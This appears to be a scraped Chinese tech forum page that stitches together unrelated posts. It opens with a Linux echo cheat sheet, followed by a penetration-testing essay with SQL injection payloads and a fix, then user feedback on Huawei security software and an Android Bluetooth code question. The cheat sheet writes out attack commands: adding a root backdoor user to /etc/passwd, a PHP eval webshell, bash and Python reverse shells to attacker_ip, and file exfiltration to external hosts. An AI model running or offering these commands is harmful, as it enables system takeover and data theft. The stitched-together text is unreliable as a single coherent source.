-
Echo 常见选项基本选项# -n: 不输出结尾的换行符 echo -n "Hello" # 输出: Hello echo "Hello" # 输出: Hello\n # -e: 启用转义字符解释 echo -e "Hello\nWorld" # 输出: Hello # World # -E: 禁用转义字符解释(默认) echo -E "Hello\nWorld" # 输出: Hello\nWorld # 常用转义字符 echo -e "\a" # 响铃 echo -e "\b" # 退格 echo -e "\c" # 不换行 echo -e "\f" # 换页 echo -e "\n" # 换行 echo -e "\r" # 回车 echo -e "\t" # 水平制表符 echo -e "\v" # 垂直制表符 echo -e "\\" # 反斜杠 颜色输出# 文本颜色 echo -e "\033[31m红色文本\033[0m" # 红色 echo -e "\033[32m绿色文本\033[0m" # 绿色 echo -e "\033[33m黄色文本\033[0m" # 黄色 echo -e "\033[34m蓝色文本\033[0m" # 蓝色 echo -e "\033[35m紫色文本\033[0m" # 紫色 echo -e "\033[36m青色文本\033[0m" # 青色 # 背景颜色 echo -e "\033[41m红色背景\033[0m" # 红色背景 echo -e "\033[42m绿色背景\033[0m" # 绿色背景 echo -e "\033[43m黄色背景\033[0m" # 黄色背景 # 文本样式 echo -e "\033[1m粗体文本\033[0m" # 粗体 echo -e "\033[4m下划线文本\033[0m" # 下划线 echo -e "\033[5m闪烁文本\033[0m" # 闪烁 格式化输出# 使用变量 name="World" echo "Hello $name" # 输出: Hello World echo "Hello ${name}" # 输出: Hello World # 命令替换 echo "Current time: $(date)" echo "Current time: `date`" # 转义特殊字符 echo "This is a \$dollar sign" # 输出: This is a $dollar sign echo "This is a \"quote\"" # 输出: This is a "quote" 文件操作选项# 追加到文件 echo "new line" >> file.txt # 覆盖文件 echo "new content" > file.txt # 创建多行文件 echo -e "line1\nline2\nline3" > multiline.txt # 使用here文档 echo << EOF > file.txt line1 line2 line3 EOF Echo 显示字符串echo "Hello ICTRUN" Hello ICTRUN echo "$str" Good Evening Good Evening打开ipv4 ipforwardecho 1 > /proc/sys/net/ipv4/ip_forward添加root级别用户echo "hacker:$(openssl passwd -1 -salt 'salt' 'password'):0:0::/:/bin/bash" >> /etc/passwd修改root密码echo "root:newpassword" | chpasswd利用echo -e 无交互修改密码echo -e "newpassword\nnewpassword" | passwd username执行命令配合base64echo "whoami" | base64 echo "d2hvYW1pCg==" | base64 -d | bash 使用Base64写一个php一句话到1.phpecho "<?php eval(base64_decode('ZWNobyAiSGVsbG8gV29ybGQiOw==')); ?>" > 1.php反弹shell# Bash反弹shell echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" | bash # Python反弹shell echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"attacker_ip\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"]);'" | bash 文件操作# 创建文件 echo "content" > file.txt # 追加内容 echo "more content" >> file.txt # 清空文件 echo "" > file.txt环境变量操作# 设置环境变量 echo "export PATH=/new/path:$PATH" >> ~/.bashrc # 添加代理设置 echo "export http_proxy=http://proxy:port" >> ~/.bashrc系统配置修改# 修改系统限制 echo "* soft nofile 65535" >> /etc/security/limits.conf # 修改内核参数 echo "net.ipv4.tcp_syncookies = 1" >> /etc/sysctl.conf传文件发送文件# 方法1:使用nc export LFILE=/tmp/1.tar.gz bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/1.1.1.1/4422' # 方法2:使用base64 cat file.txt | base64 | echo "$(cat -)" > file.txt.b64接收文件# 方法1:使用nc nc -v -l -p 4422 > 1.tar.gz # 方法2:使用base64 cat file.txt.b64 | base64 -d > file.txt文件传输的其他方法# 使用curl上传文件 echo "curl -F 'file=@/path/to/file' http://attacker.com/upload" # 使用wget下载文件 echo "wget http://attacker.com/file -O /path/to/save" Download file using wgetecho “wget http://ict.run/file -O /path/to/save”
-
在数字化浪潮席卷全球的今天,网络空间已成为继陆、海、空、天之后的“第五疆域”。随之而来的,是日益严峻的网络安全威胁。防火墙、入侵检测系统等静态防御手段如同中世纪城堡的城墙与护城河,虽必不可少,但已不足以应对 sophisticated(复杂)的攻击者。渗透安全(Penetration Testing)作为一种“以攻击者思维,行防御之实”的主动安全评估方式,正成为检验这座“数字城堡”坚固与否的关键试金石。渗透测试,俗称“白帽黑客”攻击,是在获得授权的前提下,模拟真实攻击者的技术和方法,对目标系统(如网站、服务器、网络设备等)进行安全攻击测试,旨在发现其中存在的安全漏洞、评估风险等级,并最终提供修复建议,从而帮助组织先于恶意攻击者发现并解决问题。渗透测试的核心价值在于其主动性与前瞻性。 它改变了传统安全“亡羊补牢”的被动模式,通过在攻击发生前主动寻找薄弱环节,将安全隐患扼杀在摇篮中,极大降低了数据泄露、服务中断、财产损失等安全事件发生的概率。代码实践案例:SQL注入漏洞的发现与利用为了让理论更具象,我们以一个最常见的Web漏洞——SQL注入(SQL Injection)为例,展示一个简化的渗透测试过程。场景: 一个网站的用户登录界面,后端使用SQL语句验证用户身份。1. 漏洞探测:正常用户输入用户名(admin)和密码(password123)。后端执行的SQL查询可能如下:sqlSELECT * FROM users WHERE username='admin' AND password='password123';渗透测试人员会尝试在用户名输入框中输入一些特殊的“测试载荷”(Payload),如:admin'--此时,后端拼接出的SQL语句变为:sqlSELECT * FROM users WHERE username='admin'--' AND password='xxx';在SQL中,-- 是注释符,这意味着其后的所有语句都会被忽略。因此,这条查询变成了:“寻找用户名为admin的用户,并且不再验证密码”。如果网站返回了管理员登录成功的页面,则证明存在SQL注入漏洞。2. 自动化工具辅助(以Python为例):手动测试效率较低,在实际渗透中,测试人员常编写脚本进行自动化探测。pythonimport requests# 目标登录URLtarget_url = "http://example.com/login"# 构建一个简单的Payload列表payloads = ["admin'--", "admin'#", "' OR '1'='1'--", "' OR 1=1--"]for payload in payloads: # 构造POST请求的数据 data = {'username': payload, 'password': 'any_password'} # 发送POST请求 response = requests.post(target_url, data=data) # 检查响应中是否包含登录成功的特征(例如:'Welcome' 或 跳转到dashboard页面) if "Welcome" in response.text or "dashboard" in response.text: print(f"[!] 发现SQL注入漏洞!有效Payload: {payload}") print(f"[!] 响应长度: {len(response.text)}") break else: print(f"[-] Payload '{payload}' 无效。")3. 漏洞利用与深度验证:确认漏洞后,测试人员可能会使用更强大的工具(如SQLmap)进行深度利用,尝试获取数据库名称、表结构乃至敏感数据(如用户密码哈希值),以充分证明漏洞的危害性。4. 报告与修复:测试的最后一步是撰写报告。对于这个漏洞,修复建议非常明确:根本原因: 将用户输入直接拼接至SQL语句,未进行任何过滤或转义。修复方案: 使用参数化查询(预编译语句),这是根治SQL注入的银弹。以下是一个Python中使用PyMySQL库的示例:pythonimport pymysql# 不安全的方式(导致注入)# query = "SELECT * FROM users WHERE username='%s' AND password='%s'" % (username, password)# 安全的方式:使用参数化查询connection = pymysql.connect(host='localhost', user='user', password='passwd', database='db')cursor = connection.cursor()# 使用 %s 作为占位符,然后将参数作为元组传入execute方法sql = "SELECT * FROM users WHERE username=%s AND password=%s"cursor.execute(sql, (username, password))results = cursor.fetchall()# ... 后续处理通过这种方式,数据库驱动会正确处理输入参数,确保用户输入永远被当作数据而非SQL代码执行。结语渗透安全是一个动态、持续的过程,而非一劳永逸的解决方案。上述的SQL注入案例仅是庞大攻击面中的冰山一角。真正的渗透测试涵盖信息收集、漏洞扫描、漏洞利用、权限提升、持久化驻留等多个阶段。它要求安全人员不断学习、思考和创新,唯有如此,才能在攻与防的博弈中抢占先机,真正为我们的数字世界构筑起一座坚不可摧的堡垒。
-
首先非常感谢华为云给大家提供了一个展现算法能力的平台!然而在参与的过程中有些问题实在不吐不快,我想知道具体负责题目发布的有关人员真的有在认真做这件事吗?随便说几条吧:第一条中说提交的压缩包应为Average_HRTFs.sofa,不要包含额外目录。而第二条中说要提交源代码,且要一份报告互相矛盾提交后显示的反馈信息简陋无比,就一个【run error】,谁能懂是啥意思,【编译运行环境说明.pdf】中提供了错误列表,也没包括general_error你们是要跟参与者玩猜谜游戏吗?可能是我的理解能力不够,示例中描述也难以理解,inference.py 已经提供了Average_HRTFs.sofa的信息,为啥还需要去执行?前者提供的信息有什么借鉴意义吗?还是纯随机的utils.py的函数在调用中如何体现?我觉得咱们目的是充分发挥参与者的技术能力,没必要让参与者去猜各种题目细节,理解错误造成白白浪费参与者的时间
-
Hisec Endpoint 的驱动会导致 Windows 11 的 DirectStorage API 无法正常工作,Xbox Game Bar 的设置-游戏功能界面会提示“由于驱动程序 EdrDriver,BypassIO 不受支持”,影响游戏性能,而卸载 Hisec Endpoint 可以解决此问题(Xbox Game Bar 显示“C:\ 支持 DirectStorage”,表明 DirectStorage API 恢复正常)。望华为相关项目组后续改善该问题。
-
【隐私安全】呼吁华为加强剪贴板权限管理,共同守护用户隐私!随着移动设备在我们日常生活中的重要性日益增加,用户对于个人隐私的关注也随之提高。众所周知,苹果iPhone手机在保护用户隐私方面做得相当出色,特别是在处理应用程序对剪贴板的访问方面。iPhone不仅会提醒用户哪些应用试图访问剪贴板,而且还提供了详细的权限设置,让用户可以控制哪些应用可以读取剪贴板内容。 相比之下,华为手机虽然在剪贴板管理方面提供了一定程度上的透明度——当应用尝试读取剪贴板时,系统会给出提示,但遗憾的是,这种提示机制并不足以保护用户的隐私。实际上,尽管有提示存在,用户依然无法有效地控制哪些应用可以访问剪贴板内容。这为用户隐私、甚至是商业机密和国家秘密带来了潜在的风险。 据调查,目前已有超过50款应用被发现可以在未经明确授权的情况下,随意读取用户的剪贴板记录。这种行为不仅侵犯了用户的隐私权,还可能导致敏感信息如密码、商业机密等在用户不知情的情况下被上传至云端服务器进行分析或用于训练某些大型模型。即使这些数据在训练过程中进行了脱敏处理,但仍有可能因为疏忽导致非敏感特征的信息被泄露,从而进一步在网络上传播,造成不可预见的后果。 鉴于此情况,我们强烈呼吁华为公司采取行动,加强其操作系统中对于剪贴板访问的权限管理。华为作为一家领先的科技企业,在保障用户信息安全方面负有重大责任。通过引入更严格的剪贴板权限控制机制,不仅可以提升用户体验,更能增强用户对品牌的信任感。 希望华为能尽快响应这一呼吁,推出更加完善的剪贴板权限管理系统,为用户提供更好的隐私保护服务。让我们共同努力,守护每个人的数字生活安全!
-
在个人的两天电脑上安装了华为乾坤终端安全个人版,都出现了无法正常关机的情况,点击关机就自动重启了,要关机的话必须长按电源键强制关机,请问这是怎么回事?
-
@SuppressLint("MissingPermission") // permissions are managed by the UI layerpublic class DiscoverClassicDevicesRequest extends Request<Void, DiscoveredDevice, BluetoothStatus> { private static final String TAG = "DiscoverClassicDevicesRequest"; private boolean mIsScanning = false; private final BluetoothDiscoveryReceiver mDiscoveryReceiver = new BluetoothDiscoveryReceiver(new BluetoothDiscoveryReceiver.BluetoothDiscoveryListener() { @Override public void onDeviceFound(DiscoveredDevice device) { DiscoverClassicDevicesRequest.this.onProgress(device); } @Override public void onStartDiscovery() { mIsScanning = true; } @Override public void onStopDiscovery(Context context) { mIsScanning = false; DiscoverClassicDevicesRequest.this.onDiscoveryStopped(context); DiscoverClassicDevicesRequest.this.onComplete(null); context.unregisterReceiver(mDiscoveryReceiver); } }); public DiscoverClassicDevicesRequest(@NonNull RequestListener<Void, DiscoveredDevice, BluetoothStatus> listener) { super(listener); } @Override public void run(@Nullable Context context) { BluetoothAdapter adapter = BluetoothUtils.getBluetoothAdapter(context); if (adapter == null || context == null) { // if context is null, adapter is also null // the condition is to ensure that context is non null for startScan Log.w(TAG, "[run] error: Bluetooth is unavailable."); onError(BluetoothStatus.NO_BLUETOOTH); return; } if (!areScanningPermissionsGranted(context)) { // scanning for devices requires the location permissions to be granted Log.w(TAG, "[run] error: missing permissions to scan for devices."); onError(BluetoothStatus.NO_PERMISSIONS); return; } if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.R && !isLocationEnabled(context)) { // scanning for devices requires the location services Log.w(TAG, "[run] error: location is disabled."); onError(BluetoothStatus.NO_LOCATION); return; } // cancelling any ongoing discovery adapter.cancelDiscovery(); // starting or re-starting the discovery BluetoothStatus status = startScan(context, adapter); // check returned status if (status != BluetoothStatus.IN_PROGRESS) { onError(status); } } @Override protected void onEnd() { } private BluetoothStatus startScan(@NonNull Context context, @NonNull BluetoothAdapter adapter) { if (mIsScanning) { return BluetoothStatus.IN_PROGRESS; } // register a receiver to get discovered devices IntentFilter filter = new IntentFilter(BluetoothDevice.ACTION_FOUND); filter.addAction(BluetoothAdapter.ACTION_DISCOVERY_STARTED); filter.addAction(BluetoothAdapter.ACTION_DISCOVERY_FINISHED); context.registerReceiver(mDiscoveryReceiver, filter); // start discovery boolean isDiscovering = adapter.startDiscovery(); // analyse result if (isDiscovering) { return BluetoothStatus.IN_PROGRESS; } else { onDiscoveryStopped(context); return BluetoothStatus.DISCOVERY_FAILED; } } private void onDiscoveryStopped(Context context) { if (mIsScanning) { mIsScanning = false; context.unregisterReceiver(mDiscoveryReceiver); } }}/** * <p>This class allows reception of information from the system about Bluetooth devices that have * been found during a device discovery.</p> * <p>This receiver should be used with the following intent filter: * {@link BluetoothDevice#ACTION_FOUND ACTION_FOUND}.</p> */public class BluetoothDiscoveryReceiver extends BroadcastReceiver { private static final String TAG = "BluetoothDiscoveryReceiver"; private static final boolean LOG_METHODS = DEBUG.Bluetooth.DISCOVERY_RECEIVER; /** * The listener to dispatch discovered devices from this receiver. */ private final BluetoothDiscoveryListener mListener; /** * <p>Constructor.</p> * * @param listener * The listener to inform of discovered devices. */ public BluetoothDiscoveryReceiver(BluetoothDiscoveryListener listener) { this.mListener = listener; } @SuppressLint("MissingPermission") @Override public void onReceive(Context context, Intent intent) { final String action = intent.getAction(); Logger.log(LOG_METHODS, TAG, "onReceive", new Pair<>("action", action)); if (action == null || context == null) { Log.w(TAG, "[onReceive] action or context is null."); return; } switch (action) { case BluetoothAdapter.ACTION_DISCOVERY_STARTED: mListener.onStartDiscovery(); break; case BluetoothAdapter.ACTION_DISCOVERY_FINISHED: mListener.onStopDiscovery(context); break; case BluetoothDevice.ACTION_FOUND: BluetoothDevice device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE); if (device != null && (device.getType() == BluetoothDevice.DEVICE_TYPE_CLASSIC || device.getType() == BluetoothDevice.DEVICE_TYPE_DUAL)) { mListener.onDeviceFound(new DiscoveredDevice(device.getName(), device.getAddress(), DeviceType.DISCOVERED)); } break; } } /** * <p>The listener for the * {@link BluetoothDiscoveryReceiver BluetoothDiscoveryReceiver} receiver.</p> */ public interface BluetoothDiscoveryListener { /** * <p>The method to dispatch a found device to a listener of this receiver.</p> * * @param device * The device that has been found. */ void onDeviceFound(DiscoveredDevice device); void onStartDiscovery(); void onStopDiscovery(Context context); }}按照上述的代码应该是可以打开手机的蓝牙搜索功能的,但是按照上述的方式无法打开华为手机的蓝牙搜索,用同样的代码在小米系统vivo系统可以正常打开蓝牙搜索功能,是我获取的搜索的接口不对嘛
-
今天更新显卡驱动显示更新失败-未安装,更新最新WIN11系统以及重启计算机后还是不行。因为华为乾坤终端是这两天才安装的我就怀疑是它的问题,退出后仍然无法安装,然后我就删了乾坤,立马就能安装上了希望你们能早点修复
-
1. 乾坤的静态引擎目前是否具有解包/脱壳的能力?如果没有,日后是否考虑加入?比如,对Inno Setup/自解压/NSIS打包,UPX这种简单压缩壳的解包脱壳能力。实现之后对通过FakeApp传播的白加黑可以提供pre-execution阶段的检测。2. 乾坤的静态引擎目前是否具备对脚本(vbs, js, ps1, AutoIT, etc.)的特征侦测能力?3. 乾坤是否考虑添加/增强引擎对感染型病毒的修复手段?
-
关于勒索病毒被锁文件回滚的逻辑问题:个人感觉最好还是加个主动回滚的入口,万一在“自动弹窗提示用户进行勒索回滚”的时候用户手滑点了不回滚或者用户需要斟酌回滚是否会破坏文件而取消回滚操作(有些勒索病毒可以用解锁工具解锁,不需要回滚用旧文件覆盖新文件),后续就没回滚的机会了,希望官方考虑一下。
-
华为乾坤个人版没有适用win7旗舰版(32位)的客户端。
-
软件整体界面以及子窗口(设置、日志、隔离、信任)偏宽,和主流PC软件不一样,观感不协调,希望能适当减少(大概减少2/9的宽度)软件整体界面以及子窗口的宽度,让软件看着更加协调方正。乾坤安全软件很简洁,没有过多的信息显示,但是软件横向过宽显得界面有廉价感、不协调,毕竟是面向消费者的软件,这样设计容易让用户担忧产品品质(界面都做不好,安全员能力和功能要画问号了)。
-
这个高级勒索防御会备份被软件修改的文件,在设置里能找到调整设置的入口,但是我似乎没找到恢复文件的入口,想问下官方这个高级勒索防御备份的文件从哪里去恢复?另外这个勒索防御似乎也没有说明支持那些格式文件的备份?能否后续告知用户支持备份哪些格式的文件,并允许用户添加自定义想备份的文件格式(毕竟专业软件种类繁多,工程作图、3D建模、平面设计、插画绘制等重要文件的格式非常繁杂,官方不可能全考虑的到,允许用户添加自定义格式是个解决问题的好办法)这个功能可以参考360、腾讯管家的相关功能设计。
-
高级防勒索设置这里选择文件备份路径不支持新建文件夹。建议在截图所示的位置添加一个“新建文件夹”按钮,用户选择路径过程中支持自定义新建文件夹。
-
升级检测显示最新病毒库版本是14号的,升级完也是14号的,但是最后界面却显示是13号的。。。什么问题?
推荐直播
-
HDC深度解读系列 - Serverless与MCP融合创新,构建AI应用全新智能中枢2025/08/20 周三 16:30-18:00
张昆鹏 HCDG北京核心组代表
HDC2025期间,华为云展示了Serverless与MCP融合创新的解决方案,本期访谈直播,由华为云开发者专家(HCDE)兼华为云开发者社区组织HCDG北京核心组代表张鹏先生主持,华为云PaaS服务产品部 Serverless总监Ewen为大家深度解读华为云Serverless与MCP如何融合构建AI应用全新智能中枢
回顾中 -
关于RISC-V生态发展的思考2025/09/02 周二 17:00-18:00
中国科学院计算技术研究所副所长包云岗教授
中科院包云岗老师将在本次直播中,探讨处理器生态的关键要素及其联系,分享过去几年推动RISC-V生态建设实践过程中的经验与教训。
回顾中 -
一键搞定华为云万级资源,3步轻松管理企业成本2025/09/09 周二 15:00-16:00
阿言 华为云交易产品经理
本直播重点介绍如何一键续费万级资源,3步轻松管理成本,帮助提升日常管理效率!
回顾中
热门标签